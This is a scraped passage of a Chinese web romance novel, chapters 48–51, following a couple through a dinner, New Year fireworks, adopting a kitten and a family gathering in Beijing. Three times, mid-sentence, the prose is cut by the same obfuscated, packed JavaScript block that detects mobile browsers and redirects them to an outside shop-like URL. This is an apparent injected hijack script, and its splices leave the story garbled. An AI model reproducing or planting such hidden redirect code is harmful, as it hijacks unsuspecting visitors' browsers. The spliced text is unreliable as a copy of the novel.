卓繁星的声音听着可怜,翁乐仪抱住她,松开缠在她手腕上的领带。 毛衣与肌肤紧紧触碰到一起,细细碎碎的痒,像是有一只毛刷轻轻地扫过。卓繁星恨不得将自己整个蜷缩起来,仿佛刚出生的婴儿,还有她看过的动物纪录片里的穿山甲。她觉得自己或许还像一颗山竹,白嫩嫩的芯子全被吃干抹净。 翁乐仪的手臂圈在她腰上,啊,就是这个作案工具,刚刚在身上兴风作浪,让她好像成了一把竖琴。 越想越恼,卓繁星干脆举起来咬了一口。 翁乐仪看着她,好像看调皮小孩的大人,只管不能让她冻着,老老实实地抱着她,不做任何挣扎。虎口在她嘴里,他干脆伸出手指托住她的脸,以至到了后来发展为有些瑟情的抚摸。 眼神如有实质,包裹着她,卓繁星觉得她并没有讨到多少便宜,推开他去找衣服。 翁乐仪没有再生事,他表现的足够配合,很乖地给她找寻,甚至扣上内衣的搭扣。 卓繁星不知道为什么更受不住了。 “你不准看。”她干脆把他眼睛罩住。 翁乐仪依旧听话。卓繁星却在他安静乖巧的样子里愈发生气。谁还能想到这是他做出来的事,看看这人的温柔样子,全是唬人的。 罩住眼睛的某人,鼻子挺直,唇瓣薄红的漂亮,很驯服地抿着。 可千万不要相信,毕竟半个钟头前,她在他那里没有讨到任何便宜。 某人今夜忧郁的气质像给他生了一圈淡淡的光芒,全是虚假的滤镜,让她一下栽了进去。 卓繁星又气又笑,他才不忧郁,忧郁的人会这样那样的作弄她? 卓繁星依旧保持着罩住他眼睛的姿势,吻上他的唇,亲过有一点小凹陷的下巴,还有滚动的喉结。 他的呼吸逐渐急促起来。 卓繁星捡起那条被随便扔在脚边的领带。 她得让他也吃些苦头才是。 49. 第 49 章 事后卓繁星问翁乐仪为什么会戴领带,那天明明是周末。 翁乐仪愣了一下。“忘记了,习惯就戴了。” 卓繁星在他的衣帽间里找出一根,试图复原当天的事。 光滑的面料缠在手上,翁乐仪任她施为,不过卓繁星实在笨拙。 翁乐仪在最后的时候,在卓繁星终于要将扣收紧的时候,握住她的手,顺便一并将她抱在怀里。 “我给你系领带?”卓繁星这样提议道。 “今天也是周末。” 卓繁星说:“我还不会系,你先教我,明天就能系了。” 周末的清晨总是可以浪费一下的。 晚上邵丽丽邀约他们去家中吃饭。 卓繁星和翁乐仪到的时候,开门的人是洪旺。 卓繁星看了一眼翁乐仪,对这个情况表示稍有意外。为什么是稍稍呢,因为她猜到他昨天或许留宿,却不以为会到这个时候。 “你们抽烟出去抽,不要在屋里。”邵丽丽拿着把菜刀出来,还没忘叫一声翁总。 卓繁星在厨房里看着邵丽丽。邵丽丽一头长发盘起来,穿着围裙,一点妆也没化,两只手上甚至还带着大袖套。 “这里不用你忙?”她动作很快地洗锅,烧油,甚至不搞火锅,两个大菜,全是小炒。 “昨天他不知道为什么脑子发抽了,我昨天没力气,累死了,今天我绝对不要他留宿哈。虽然你不在,但是这点规矩我还是知道的。” 卓繁星看着她飞快地切了大葱,洒进煲里,卓繁星说:“我不是说这个。所以你们是复合了?” “没啊。”她理直气壮。“我可不敢有这个想法,高攀不上。” 卓繁星说:“你妹妹那边后来联系过没?” “她?”邵丽丽提起来就难受。“我不去管她了,叫她死外面好了。”她手起刀落,拍了两颗大蒜。“我以后一分钱都不给她,白眼狼,没良心的。” “你看我以后还管不管她咯。” 饭吃完,卓繁星要帮着收拾,邵丽丽不让她弄。“我看翁总有点小咳嗽,你回去给他炖点雪梨汤喝喝,很灵的。” 卓繁星毫无技能点,认真求教。出去后,就带着翁乐仪跑超市去。 卓繁星在厨房里鼓捣,梨削皮,放一颗冰糖还有几颗枸杞,炖一个钟头就行。 她把水浇满,剩余的时间就跑到客厅,把上次圣诞树上的娃娃拿下来包好,她选了两个,打算一个送给嘉嘉,还有一个给Bella,等她从迪士尼回来就给她。 梨汤炖好,她盛出来拿去给翁乐仪。 她知道他在打游戏,可是没想到玩的是那种恐怖类的。他还把灯关了,卓繁星一看到屏幕里的老太太,吓得差点碗都扔了。 “要不要这么刺激。” 她惊魂未定。翁乐仪把耳机摘了,把灯打开,卓繁星说:“喏,喝了。我尝过了,还行,不怎么甜。” “你在玩什么游戏啊?” “刚出的一款。” “啧啧。”卓繁星欣赏不来,她从小就怕鬼,乡村老尸是她童年阴影,看了个片段,之后很长时间都不敢上厕所,感觉有水的地方就有脏东西。 “不怕吗?”她奇怪地看了他一眼。 翁乐仪说:“都是假的。” 翁乐仪喝了一口梨汤。卓繁星托着腮问他:“怎么样?” “还行。”翁乐仪还是选择诚实,确实还行,不难喝,也很寡淡,而且他不太喜欢梨肉变软的口感。 卓繁星凑过去喝了一口。“确实一般般,可是没办法啦,对你喉咙好的,润肺的。你体质也太差了,我都没事。” 翁乐仪抬眸看了她一眼。 “本来就是啊。”卓繁星瞪回去。 “多喝点,等下再喝一碗。” “有点烫,先凉一会儿。” “行吧,别放太久,冷了就没效果了。” 卓繁星打算继续去包娃娃,没想到被他按坐在他身上。“一起玩吧。” “我不要!”卓繁星拒绝,按住他那只要去点鼠标的手。 “你这么怕,当时还和他们去玩密室。”翁乐仪靠在她肩膀上笑。 卓繁星转头白了他一眼。“你管我。” 翁乐仪想到那时恨不得挂在他身上的某个人,当时一个回头的功夫,她就冲到他怀里,抱着不肯松开。翁乐仪记得自己那时候尴尬、害羞,还有些说不清的慌乱。后来他一直牵着她,松开的时候,两个人都很不自在。 新年那天,卓繁星和潘潘她们一道吃饭。翁乐仪工作忙碌,昨天联系时还在外地。卓繁星接到他电话时,肉眼可见的雀跃。 翁乐仪穿着一件冲锋衣,头发稍显凌乱,一身打扮不似先前,更加休闲。 潘潘看了很久,美琪推了她一把,她一下叫起来:“搜嘎!” “搜个鬼啊。”美琪无语。 “你不懂,我不跟你讲。”她把脑袋伸到卓繁星这边。“繁星姐,怪不得噢,当时那个会所里的小帅哥你唔唔......” 卓繁星一下给她捂住。 “菀菀类卿啊,原来是菀菀类卿。” 何安琪默默评价道:“疯了,疯了。” 翁乐仪同她们打了招呼。卓繁星见他带着口罩,坐到他身边问:“还没好吗?”上次同他打电话,他咳嗽的很厉害,梨汤肯定是不顶用了,要老老实实吃药了。 “叫你去海钓。”她不晓得他去出差还有这样的空闲。 翁乐仪没摘口罩,只有一双眼睛含笑地望着她,长长的睫毛更明显了,一扫一扫,不知道是不是因为生病,显出一种安静的乖巧。 潘潘和何安琪咬耳朵。“繁星姐这是陷进去了呀。”瞧瞧那样子,还自己剥橘子给帅哥吃。 啊哦,好帅。翁乐仪把口寨摘下来。潘潘一个劲地眼神示意,我说的没错吧,是个大帅哥。 何安琪无语,眼神回击:又不是你的,激动个毛啊。 “这样的我也可以剥橘子呀,让我剥一车橘子都行。” “瞧你那没出息的样。来,姐姐给你剥一个。咱不羡慕啊,咱也有。” “来,啊。”何安琪把声音做出来。 卓繁星一下就有点不好意思了。关键翁乐仪不喜欢吃热橘子,吃了半个,剩下的喂到她嘴里。他一如既往的淡定,拿过桌上的纸巾给她擦手。 卓繁星捏了他一下,他睁着无辜的眼睛看过来,卓繁星一点办法都没有。 “我又没感冒。”她温吞地开口。 他靠过来在她耳朵边说了句话,卓繁星一下就把他挂着的口罩给他带回去。 “我想亲你。”翁乐仪这样讲,橘子味令他想到了几个月前的吻。 她被他牵起来,卓繁星有点羞赧地告辞:“我们先走了,他有点感冒。” “明白明白,早点休息。”何安琪表示十分理解。 他们的背影消失在玻璃门外,潘潘突然想到什么拉住小余问道:“所以哪个帅?” “什么哪个帅?” “就是你上次说来找过繁星姐的帅哥呀?” 小余舔了舔嘴唇上的瓜子皮,认真想了想。“都挺帅的,不分伯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067353|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仲。” “这么夸张?!”潘潘震惊。“我已经脑补出一出爱恨情仇了。” 翁乐仪领着卓繁星去看烟火表演。卓繁星可不觉得这是什么好主意,不提冷空气,就是人挤人的,也不适合他去。 她抱着他买的花,踩着阶梯上去,看见广场上的乌泱泱的人潮,瞬间就想打道回府。 “公寓里也能看,干嘛一定要出来。”卓繁星拉着他,生怕他被挤到。 靠近河边吹过来的风都更加冷了,翁乐仪带着帽子口罩,脸上就露出一双眼睛,被风吹得更精神了,亮的很。 “多冷啊。”卓繁星往他那儿又靠了靠,他把手抽出来把她衣服帽子提起来兜在她脑袋上。 卓繁星本来就带了顶毛线帽,她抖了抖脑袋,把衣服帽子抖了下去。 他又提起来,她又抖。“你干嘛啊?”帽子很大,他一只手按在上面,把她眼睛都遮住了,她只能仰着脑袋抗议。 翁乐仪看着她仰起的下巴,一声轻笑。“怎么才发现你这么矮。” “是你太高了。”卓繁星把他的手拿下来拽着,她有165呢,标准的身高好嘛。 Y城的夜景比不上沪地的繁华,可今年是Y市第一次做跨年烟火表演,不知道是不是这个缘故,感觉全市的人都来了。估计这几年禁放烟火禁的太狠,如今显得格外新鲜。中途一个没注意,一扭头他人不见了。 “翁乐仪。” 卓繁星喊着,四下环顾,心里焦急。 “不好意思,让一让。” 烟火表演马上开始了,周围都是找好位子的人,她手机放在耳边打他的电话,一边伸着脖子找他。 “不好意思。”她扯过一个人发现不是他。 电话接通,还没来得及说句话,烟花在头顶炸开,卓繁星扭头看着天上团团簇簇的烟花,一点喜悦都没有。 她就不该听他的。 周围人都仰着脑袋看天,耳边是震耳欲聋的响声和欢呼声,她真怕他跌倒,挤开人群惹了好多抱怨。 “你在哪儿?”卓繁星用尽力气朝手机喊。“你在哪儿?” 肩上搭上来一只手,她猛地转身,悬着的心骤然落回去。 “吓死我了。”卓繁星生怕他腿不方便,人这么多,要是摔地上怎么办。 翁乐仪听不太清她的话,却不妨看懂她眼里的后怕,手指擦过她的眼角,蹭到一点潮意。烟花在脸上映出闪烁的光影,他的眉眼清隽,瞳孔中装着她焦急的身影。 “新年快乐。”四周响起人群欢呼的声音,远处的电子屏上打出元旦快乐的字样,这一刻似乎所有人都沉浸在新年的喜悦中。 翁乐仪的手落在她被风吹到发凉的脸上,上前一步将她抱住。 卓繁星的脸贴在他的胸口,怀里的花都被挤扁了。她嘴里还在生气。“你吓死我了。”双手却在他腰上环的死死的。 翁乐仪像是察觉到了她余怒未消,低头亲了亲她的唇角。 头顶是绚烂的烟花,卓繁星仰着脑袋和他接吻,慢慢的,轻轻的,像是初生的孩子感知着彼此,极尽温柔又说不出的单纯。 她突然回忆去年的这个时候她在干什么?好像是在租房里一个人看晚会,同租的姑娘半夜回来喝醉了酒把男友一道带了回来,屋里隔音不好,她听着他们闹腾的声音一直到天快亮了才歇下来。 那明年呢,她身边还会有他吗? 她的心突然有些疼,手臂抬上去箍着他的脖子,像是想要抓住些什么。 要是,要是他能不回京市,他们一直呆在这儿那该多好啊。 50. 第 50 章 卓繁星这些心思翁乐仪自然是不知道的,眼下还没到分开的时候,即便到了,他也没觉得什么。先头就讲了,他在这上头更像蒋濯衣,有些随性自然的劲。他认准了卓繁星,那就是他们两个人的事,谁说都不好使。 而卓繁星生性悲观,又不是个积极争取的,还有些随波逐流的气质。更紧要的是,她在执着一事上或许远不如他。 她自然希望能同他有个好结果,可谁知道以后会有什么事。即便他走了,她也要继续过下去。就好像她之前的许多年,他不曾来过一样。她在很快的时间里就得出了这个结论——翁乐仪很好,可能是她这辈子最喜欢的人了,可是他们未必能有个好结果。 日子照旧过,谁会为了将来的事战战兢兢,况且他们正在热恋。许多问题都被蜂拥而至的甜蜜冲淡。难道为了以后的事,就推开他吗。 卓繁星可不愿意。 她是个能靠回忆就生活的很好的人,就冲这点上来说,谁又能讲她真的是个悲观主义者。 这一切,最终的分别,还有溺死人的甜蜜,都发生在卓繁星的脑海里。她其实是个心理活动非常丰富的人,以至于因此,常常会在表面上看起来迟钝,这也是为什么不熟悉她的人会说她有些高冷。 表现出来,在翁乐仪面前,她就更加放的开了。还记得先前因为一次醉酒,她羞耻于自己粘着他的种种举动,现在她觉得着实不算什么。 在这一点上,她突然就理解了几分邵丽丽行事的逻辑。可不就是这样。既然前路渺茫,倒不如及时行乐。 甚至等不到什么家里人的反对,他们互相就厌恶了彼此。她真想象不出来自己会不爱翁乐仪的样子,其实她对他是一见钟情,就好像灵均在蒋家对蒋凌洲的第一眼就念念不忘,她对他也有些这个味道。 他抱着猫,人也和那只猫差不多,有种自在的松弛和慵懒。正是那股松弛感令卓繁星一眼就难忘,那是她太稀缺的东西。他就像无害的空气,一点一点侵入她的认知。 卓繁星后来知晓他父母离异,母亲早早便去了海外工作,更是惊诧——他们是如此的相像。当然她可比他苦命多了,然而这不妨碍年少的时候,会有惺惺相惜,同病相怜的感觉。 他可比她活的精彩多了。 松弛,就是卓繁星一眼相中他的原因。当然,他肯定是长得好看的。 卓繁星已经会将这样的想法告诉他了。她甚至问他:“以后我们会不会不喜欢彼此了?” 她知道自己肯定不会,可是这时候却不愿落了下风,因此还是加上去的好。 翁乐仪正在看球赛。她近来总会有这些稀奇古怪的问题,翁乐仪已经习惯了。 “什么叫不喜欢。”很明显,他现在脑子还在球赛上。 “就是感情淡了呀,觉得对方没有吸引力了,再也没有心动的感觉了。” 翁乐仪一下坐起来,令卓繁星吓了一跳。屏幕里裁判的哨声格外的响,山呼海啸,一时间都是刚才进球的回放。 “我现在就感觉到了。”卓繁星无语道。 “感觉到什么?你刚才说的什么?” 卓繁星在他一张无辜的脸上来回搓,他支持的球队进球了,他正开心呢,将她拉过来抱在怀里。 “球赛比我重要。”卓繁星装作生气的样子,要自己表现出一个无理取闹女朋友的样子。翁乐仪一下一下亲她的嘴唇。 “Baby.”他这样喊她,卓繁星被他喊的全无脾气,本来就是没多少,零星一点儿也全化做了糖水,当然还有鸡皮疙瘩。 “不许叫啦。”她赶紧捂住他的嘴。 手心很快被他轻轻亲上来。卓繁星想,这就是幸福家庭出生的翁乐仪呀,他太知道怎么讨她欢心了。 她被他拿捏住了。 “你先去睡,我看完了再过来。” 你看,他甚至还一副很为她着想的样子。 卓繁星今日势必要做个作女。“我要你陪我。”她装作很委屈的模样,眉眼耷拉下来,手臂圈住他的脖子,脑袋抵在他脖颈上,蹭啊蹭。 “今天是半决赛。” “是啊,所以半决赛比我重要。” 翁乐仪果然呼吸一窒。卓繁星死死咬住嘴唇,没让自己笑出来。 “灿灿。”他突然开口。卓繁星拨动他项链的手指停顿下来。“你怎么知道我小名的?” “听你爸爸喊过。” “喊灿灿也不行。”虽是这样说,但卓繁星已经心软了。她早就心软了,对着他,她向来如此。 没过几天,翁乐仪带了只小猫回来,三个月大,说是看见安杰发的朋友圈。安杰特别喜欢猫,以前还做过救助站的志愿者,这猫就是救助站那儿救下来来找家的。 猫是奶牛猫,脸上八字面具开的还挺对称,小小一只,一接来他就让卓繁星去看,繁星到了他那儿,猫躲在床底下不肯出来,过了好一会儿才探头。 “取什么名?”卓繁星边跟小猫玩边问他。 “灿灿。” “啊?” “叫灿灿啊。” 卓繁星瞪了他一眼,一个不妨被小猫抓住了逗猫棒,就地一滚嘴巴咬着羽毛好一通闹腾。后来给它取了个名字叫小八,就为它脸上开的那道八字。 转眼到了一月末,眼看着离过年没多少日子。期间卓繁星陆陆续续接到几次姚灵均的电话,让她帮忙看看伴手礼,请帖,还有结婚照选哪张,她嫌徐凤眼光不好又唠叨,就来问她。 婚礼定在四月,在斯里兰卡,不过在北京还是要请桌酒,她一边嫌烦一边又只能硬着头皮上,没办法,这主意当时是她自己提的。 “陈跃后来找过你没?” “谁?” 卓繁星说:“没谁,你不记得就好。” 姚灵均切了一声。“你以为他真将我看的很重要吗。不过是闲的没事找我打趣儿罢了。” 卓繁星在这句话里听出一丝隐隐的低落。感情的事没有什么道理可言,即便陈跃是个渣男,灵均可能就是在他身上有心动的感觉,这感觉谁都替代不了。可人不是光凭感觉就能在一起的。 姚灵均问:“你对象现在谈的怎么样?” “哪有对象?” “我你都骗。有啥不好讲的。” 卓繁星说:“刚谈呀,没什么好说的。”实在是姚灵均是个大筛子,藏不住话,她要是知道是翁乐仪,不出半天,舅妈肯定也要知道。 “照片有没有,看看。” 卓繁星说:“呀,有电话来,我挂了。” 给她气的。“稀罕看。我告诉你丑男不行啊,是不是那个医生?医生还行。还有过年来不来?” “我电话进来了,到时候再说。” 卓繁星脚上晃着逗着小八,最近猫不怕生了,站着的时候能顺着人的腿,从脚上一直爬到胸口。前两年她都在爸爸那儿呆个两天,吴家没她的房间,她呆着也不自在,年初二就收拾收拾回了市区。 今年估计也是这样过吧。 翁乐仪公司年会的时候,离过年也就差了一个礼拜多点的时间。卓繁星已经放假了,邵丽丽找了个美容院上班,正是忙的时候。她妹妹放寒假要住到租房来。卓繁星接到她电话的时候没有多意外。 “没事的,都是女孩子。“卓繁星这样说。 “我这几天忙死了,一直要忙到放假,提成还轮不到我,现在是试用期,你说惨不惨。不过我拿到点内部优惠,到时候你过来,我请你做项目。” “好的。”卓繁星发了个抱抱的表情包。 卓繁星不知道她们是怎样和解的,不过也不难猜。这让她对邵丽丽始终有些心疼,对她的妹妹观感一般。 到了年会那天,邵丽丽说请客吃火锅。 火锅店在市中心的步行街那边,她提早订的位置。出门前,邵一一又是化妆又是弄头发,捯饬了快两个钟头才出门。卓繁星看着邵丽丽骂她,样子凶,但也没真不让她弄,后来还上手给她画眼线卷头发。 “回来不还得洗头发,我真是服了你了。”她嘴上数落个不停,动作却干净利落。 三个人坐地铁过来,到了步行街,街上一眼望去挂着红灯笼,喜气热闹,已经有年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067354|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味儿了。 快吃完的时候,翁乐仪电话过来,问她们在哪儿,吃完了没。卓繁星说快了,报了地方,他说他过来接她。 她挂了电话还有些奇怪,年会上他算是主角了,怎么能这么早就离场,不过转念一想也不一定非要他,他身体不太好,烟酒轻易不沾,这场合肯定有人顶上去。 桌上邵丽丽把最后一点菜捞上来,放到邵一一碗里,问道:“翁总来的电话?” 卓繁星点头,“嗯,让我们吃完到路口等,他刚好过来。” “繁星姐姐的男朋友?”小姑娘没顾上吃了,有些八卦地问,她听她姐姐提过两嘴她男朋友的事,说是个钻石王老五,自然好奇的很。 “嗯。”卓繁星应了声,没多谈。 吃完结账,三个人慢慢走到路口,等了差不多两三分钟,翁乐仪的车就到了。 他知道她们有三个人,上车的时候直接坐的副驾,到了地方把车窗降下来,司机已经下车去开后座车门了。 邵丽丽喊了声翁总,他点了下头说了声你好,眼睛落在卓繁星身上。今天要来吃火锅,她就没穿干净衣服,穿的是穿了有两天的外套,淡粉的面包服,脖子上圈了一条白色的毛绒围巾。 “喝了多少?”她们两个先上车,她跟在后头,抽空问了句 “没多少。”翁乐仪闻到她们身上的火锅味,随后车门一关,这味道就更浓了,他今天就喝了几杯酒,菜没吃多少,被这味道勾的胃里有些翻腾。这一路他都安静无话,一是身体不舒服,二是有三个陌生人,但后头的邵一一眼睛老往他那儿看。 到了租房小区外头,邵丽丽说把她们放下就行了。翁乐仪自然没要开进去,车一停,邵丽丽就拉着妹妹下车。外头天冷,她看着车走了,拉着人就往小区走。 “那个翁总是什么来头啊?” 邵一一挽着她胳膊,嘴巴不停,都是打听翁乐仪的。 邵丽丽起先还没觉得什么,简单回了几句,听她又问:“这样的人你室友怎么搭上的?你怎么就不行啊?你长得也不比她差,身材也好。” 邵丽丽听了瞪了她一眼,“你是吃了顿火锅把脑子也吃撑了吧。” 她马上回嘴:“都是当小情儿,有什么好忌讳的。” 邵丽丽被她这句气笑了,“谁特么是小情儿,人家正儿八经男女朋友,你看不起谁呢?一嘴一个小情儿小情儿的,没我你读书的钱,买化妆品的钱,看演唱会的钱哪儿来的?你是觉得你大学生就特高贵是吗?我今天跟你说最后一次,你住我这儿就规规矩矩的,要是得罪了人,我落不着好,你也没好,别整天让我跟在你后头擦屁股。” 她们这头争执暂且不提,不过后来卓繁星的确过了一段安生日子。 那头翁乐仪带着人回了公寓,他明天的飞机回北京,行李还没收拾过,不过要带的东西不多,一只小行李箱就差不多了。 卓繁星受不了身上的火锅味,先去浴室洗了个澡,因为时不时过来,已经放了几套衣服在这儿,翁乐仪还给她在衣柜里腾了个地方放衣服。 她洗完澡出来,地上摊着个开着的箱子,他正往里放一些常穿的衣服,边上小八捣蛋,时不时就往箱子里钻。 “粥喝完了?”卓繁星问他,刚刚路上就说胃不舒服,家里有药,后来下车又给他买了碗小米粥。 “嗯。”翁乐仪看她出来了也不急着理,把箱子里的小八捞出来抱在怀里撸了两把。也不知道是不是喝酒的缘故,他今天眼神光都有些迷离,动作放慢,配上他认真撸猫的样子,有些像她第一次他的那个样子,看着单纯可欺的很。 “酒还没醒?”她蹲下来摸了摸他的脸,还有些发烫。 “我没醉。”他看了她一眼,眼尾微翘,敛着的雾气露出来如水中月,镜中花,让人觉得漂亮又抓不住。 卓繁星不喜欢这种感觉,在他眼睛上亲了亲,让他漂亮的眼睛阖上。 “现在醉不醉?” 他乖的很,点了点头,说:“醉了。”眼睛张开,眸如点漆,一如当初那个静水般的少年,含着清淡却温和的笑意。 51. 第 51 章 翁乐仪同卓繁星讨论过回京过年的问题。 “后来一直没回去过?”他不太能理解她舅妈家中为何将她放逐在Y市。原谅他用了这个词,确实如此。 他认识的卓繁星就是在京市长大,念书毕业,至于Y市,顶多算是她后来工作的地方。 “本来可以一起回去。”他这样讲。 卓繁星说:“我姥姥姥爷恨死我爸了......”当年他们的女儿所托非人,嫁了个最没有出息的。虽然是自找的,但只有这个人好恨一恨。总不至于是他们女儿的过错,多半就是卓强勾引,本来姚馨雅能有更好的前途。 “他们不一定不想我去,只是也没有想我去。” 卓繁星没有多悲伤,她需要他们的时候都过去了。或许是早早认清了亲缘的淡薄,她的预期向来很低。 翁乐仪摸着她的头发,黑色的发丝划过他的手指,不像他的,柔滑,有些冰凉,轻易就会滑落。翁乐仪俯下身在她被捋开的鬓角上亲了亲。 怪不得那时候一个人过年,一个人在医院里哭。 “那你在这边怎么过?去你爸爸那边?” “对呀。我总不能一个人过吧。” 翁乐仪笑了下。“当然不能。”他在离开的时候还在犹豫,有一瞬间的冲动,在卓繁星送他出门的时候对她说:“不如跟我一起回京市。” 卓繁星愣了下,把围巾给他戴上。 “舍不得我吗?” 翁乐仪没有否认。本来就是她的家乡,她实实在在是京市人。 “那你赶快回来吧。过了年就回来,好不好?”卓繁星抱住他,仰着的脸上满是俏皮的意味。 翁乐仪睨了她一眼,又去看别处。“我不一定能那么快回来。” “那怎么办?” 小八适时地在两人脚底下打转,卓繁星惨兮兮地说:“小八,你爸不要你啦,你只能和我相依为命了。” 翁乐仪说记得给我打电话。他最后看了她一眼,那天的Y市是阴雨天,落地京市却是个大晴天。 卓繁星说话算话,同他抱怨了连续的阴雨天气,然后告诉他,她准备在家里窝上两天,直到雨停。 “在家里?” “嗯。嗯?不然在哪里?”她撸着小八的毛,懒洋洋地声音从听筒里传过去。 “你在哪里?” 翁乐仪看着楼下跑动的Coco,阳光下浑身的毛发仿佛都在发光。“我在姥姥家,今天小年夜。” 那边惊讶地噢了一声。“那我要点一份八宝饭吃。” “你什么时候回乡下?” “马上呀,我马上就回去了。我还在想要不要把小八带回去。好啦,我挂了,我要点外卖了。” 卓繁星很快挂断,翁乐仪看着手机有些短暂的无奈——还是一个人。 这并非是翁乐仪第一次离开卓繁星,毕竟他经常出差,然而此时因为假期的缘故,周遭皆是懒洋洋的气氛。他不免会想,若在Y市,他们会做什么。 也许天气好,会出门找个地方解决中饭,然后下午带着小八去公园草坪上晒会儿太阳。天气不好,就像她说的,也可以窝在家里,两个人。 林灿经过时,稍稍迟疑了下,翁乐仪看见她,同她颔首打了个招呼。 林灿说:“我毛衣脏了,找件Arthur的衣服换一下。” “是Coco弄脏的?”他在她肩膀两侧看见了爪印。 “对呀,不晓得他什么时候刨的坑,两只爪子上都是泥。” 她说完便要离开,翁乐仪的声音在身后响起。 “林小姐叫林灿?” “什么?”林灿显然不是没听清,而是意外。“对,我叫林灿。”她笑着。“你可以叫我灿灿,林小姐太生疏了。” 翁乐仪显而易见地语塞了,顿了顿才道:“哪个灿?” “唔,灿烂的灿。哈哈,我先上去啦。”她示意了一下自己糟糕的衣服。 翁乐仪客气点头,转过身的时候,舌头抵着牙齿,有些难言的异样。灿灿?庭院中的coco叼着飞盘跑到蒋凌洲身边。 但愿不是他想的那样。可太巧合了不是吗。他甚至还去找过她。 姚国平一家前来,车子在院中停下,开车的人是姚灵均。她一下车就被冲过来的coco吓了一跳,然后大衣上喜提爪印两只。 啊,阳光下她懊恼地瞪了一眼蒋凌洲,然后就被自家母亲强力镇压。 姚国平在与蒋凌洲说什么,翁乐仪短暂地看了一会儿,就下楼去了。 “你们来了。”俞秋华出来见他们。“灵均是不是明年结婚?日子定下来了吗?” 徐凤说:“订了,在4月份。” “那时候好,天也暖和了。衣服上怎么回事?是被狗抓的。我就叫凌洲拴起来,不许它进来。”她叫保姆拿毛巾,招呼他们进去。 徐凤问老太太,她说:“在书房呢,说要写几幅春联。对呀,老规矩了。”她见着翁乐仪下来,说:“你去把凌洲叫进来,你俩去写,叫他们两个出来歇歇。” 徐凤听了立即道:“对,两个小子去写,他们两个的字一贯都是好的。我以前拿回去,我公公一直夸,说这字写的好。” 俞秋华说:“和老太太耳濡目染,总要学点皮毛来。” 林灿换了衣服下来,蒋凌洲的毛衣太大,显得松松垮垮的,有种oversize的感觉。 姚国平说:“这是凌洲对象?” “叔叔好,我叫林灿。”林灿的中文讲的不算好,一听就是个ABC。 “你好,你好。”姚国平笑了两声。 徐凤拿出来几样膏方,特地跑到书房里去。秦老太太的书房很大,占了两间屋子不止,采光极好,摆了一张又大又长的工作台。如今上面堆了红纸,一进去就是墨香。 蒋爷爷负责裁纸晒字,老太太戴着眼镜,手里拿着毛笔,边上已经摊了许多。 “小凤来了。国平也来了。” 姚国平接过蒋爷爷手里的纸,放到空地方摊平,没忘夸道:“干妈的字还是那么有劲。” “你懂什么,说来说去就知道有劲。”徐凤嫌弃他。 姚国平说:“我是外行。有劲还不好,你出去打听打听,几个这样年纪的还使得动笔。” “妈。咱们出去歇会儿,这儿叫几个孩子收拾。”俞秋华一句话,翁乐仪几个就都留在书房里。 翁乐仪和蒋凌洲负责写,林灿和姚灵均负责帮忙。 姚灵均不是第一次做这些活,要知道当年她暗恋蒋凌洲的时候有多积极。这活儿那就是天上掉的馅饼,她能给他磨墨晒字,搁古代可是红袖添香的雅事。如今想起来还是不免发笑。 林灿是头一次见这架势,她家里虽然早是黄皮白心,但她小时候,她太奶奶还活着,祖上规矩,习俗都很讲究。就是他们住的街区,那也是华人社区,洗衣房对面那条街上开了家书画铺。凡是求些底蕴的人家,家里总要挂一幅好字。 她知道,蒋凌洲家这叫书香世家。 她低头看了眼自己不认识的字,龙飞凤舞,她不认识它,它也在骂她文盲。谁说的在文化人面前,仿佛天生就气短。这叫她想到那些欧洲佬讽刺美国人,说他们粗鲁没文化,颇有些异曲同工之妙。 “这是什么意思?”她要将无知装作天真,问一问身边的姑娘,总是能显出几分求知的可爱来。 姚灵均一点没笑她的意思,这姑娘是华裔嘛,不识字儿不是很正常,就是她,九年义务制教育出来,见了繁体字也有不认识的时候。 姚灵均不往蒋凌洲跟前凑,她就管着翁乐仪就行,他写好一张,她就上去拿开。 翁乐仪的字写的好,写字的样子也好看——整个人沐浴在阳光下,粗线毛衣穿在身上不显得臃肿,有一股少见的松弛感。搭配着一室墨香,垂落下来的睫毛,乖乖,怎么可以这么长,毛茸茸的像把迷你扫帚。 姚灵均在某个瞬间,突然想到他似乎还是某人的暗恋对象,赶紧拿出手机拍了一张发过去。 这动静不可谓不大,林灿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067355|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先发现,偷笑道:“你在拍小翁?” 姚灵均被她的发音逗的愣了下,见两位男士也看了过来,尬笑道:“嘿嘿,随便拍一下。” 姚灵均从蒋凌洲的表情里读出一丝嘲讽,仿佛在说:“姚灵均,你还是这么花痴。” 着实闹心。 这自大的男人什么时候可以摔个狗吃屎啊。她默默地诅咒道。 